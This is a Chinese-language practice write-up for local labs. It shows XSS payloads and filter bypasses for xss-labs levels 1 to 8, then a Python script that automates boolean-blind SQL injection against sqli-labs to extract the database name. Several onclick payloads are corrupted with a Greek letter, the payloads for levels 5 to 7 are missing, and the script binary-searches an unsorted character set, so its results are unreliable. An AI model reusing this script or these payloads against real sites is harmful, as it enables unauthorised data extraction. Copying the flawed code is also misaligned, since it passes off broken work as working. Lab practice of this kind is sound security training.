(一)xss-labs 1~8关
1、前期准备
(1)打开小皮面板,并启动Apache和MySQL
(2)将 xss-labs放到 phpstudy_pro 的 WWW 目录下
(3)访问连接:http://localhost/xss-labs/
LEVEL1:
name=test可以在页面中直接显示,所以可以直接尝试将其字段改写为简单的触发脚本:
name=<script>alert(123)</script>
闯关成功
LEVEL2:
直接尝试注入触发脚本没有成功,但是知道了注入之后会在哪输出,所以需要在输出的地方把多余的部分处理一下,确保触发脚本的可执行性
"><script>alert(123)</script>//
用">将左边多余的语句闭合,再用//把右边多余的">注释
闯关成功
LEVEL3:
第三关尝试与上一关相同解法,发现使用"<>等符号无效使其无法闭合,查看原代码
发现使用了htmlspecialchars函数,经过查询发现此函数能将特殊字符转换实体化,但是'并没有被实体化。
对次我们可以使用onclick事件绕过。onclick 是 HTML 中常用的事件处理属性,当元素被点击时触发。
'οnclick=‘alert(123)
用’ '将前面闭合
点击“搜索后”再点击搜索框即闯关成功
LEVEL4:
同上一关一样,只是闭合方式有所区别:
"οnclick=‘alert(123)’
LEVEL5:
输入payload发现进行了敏感词注释(在敏感词的某个字母后面加入了_)
查看源代码:
发现不让我们用script和有on字母的方法
那我们可以使用a href(超链接)的方法进行尝试
要想写新的标签需要闭合前面的标签
然后点击超链接“xxx”即可
LEVEL6:
同上一关,不让用script和on
尝试上一关过法,发现a href标签无效
查看原代码:
发现data和href标签被禁用,但是大小写没有被禁用,可尝试使用大写绕过
闯关成功
LEVEL7:
这关直接把相关字母全部消除(比如script和on)
查看源代码,发现敏感词被替换成了" "
我们尝试双写:
闯关成功
LEVEL8:
这一关将输入框的内容传到了a href标签
我们可以尝试JavaScript伪代码:
javascript:alert(123)
输入后发现有敏感词处理,因为输入的内容是在a href标签中,所以我们可以尝试将敏感词编码后再输入,看看能不能绕过
使用编码工具编码后输入并点击友情链接:
javascript:alert(123)
闯关成功
(二)python实现自动化sql布尔育注代码优化(二分查找)
1、代码
import requests
# 目标URL
url = "http://127.0.0.1/sqli/Less-8/index.php"
# 要推断的数据库信息(例如:数据库名)
database_name = ""
# 字符集(可以根据需要扩展)
charset = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789_-. "
# 推断数据库名的长度
def get_database_length():
length = 0
while True:
length += 1
payload = f"1' AND (SELECT length(database()) = {length}) -- "
response = requests.get(url, params={"id": payload})
if "You are in..........." in response.text:
return length
if length > 50: # 防止无限循环
break
return 0
# 使用二分查找推断数据库名
def get_database_name(length):
db_name = ""
for i in range(1, length + 1):
left, right = 0, len(charset) - 1
while left <= right:
mid = (left + right) // 2
char = charset[mid]
payload = f"1' AND (SELECT substring(database(), {i}, 1) >= '{char}') -- "
response = requests.get(url, params={"id": payload})
if "You are in" in response.text:
left = mid + 1
else:
right = mid - 1
db_name += charset[right]
return db_name
# 主函数
if __name__ == "__main__":
length = get_database_length()
if length > 0:
print(f"Database length: {length}")
db_name = get_database_name(length)
print(f"Database name: {db_name}")
else:
print("Failed to determine database length.")
2、输出结果
完成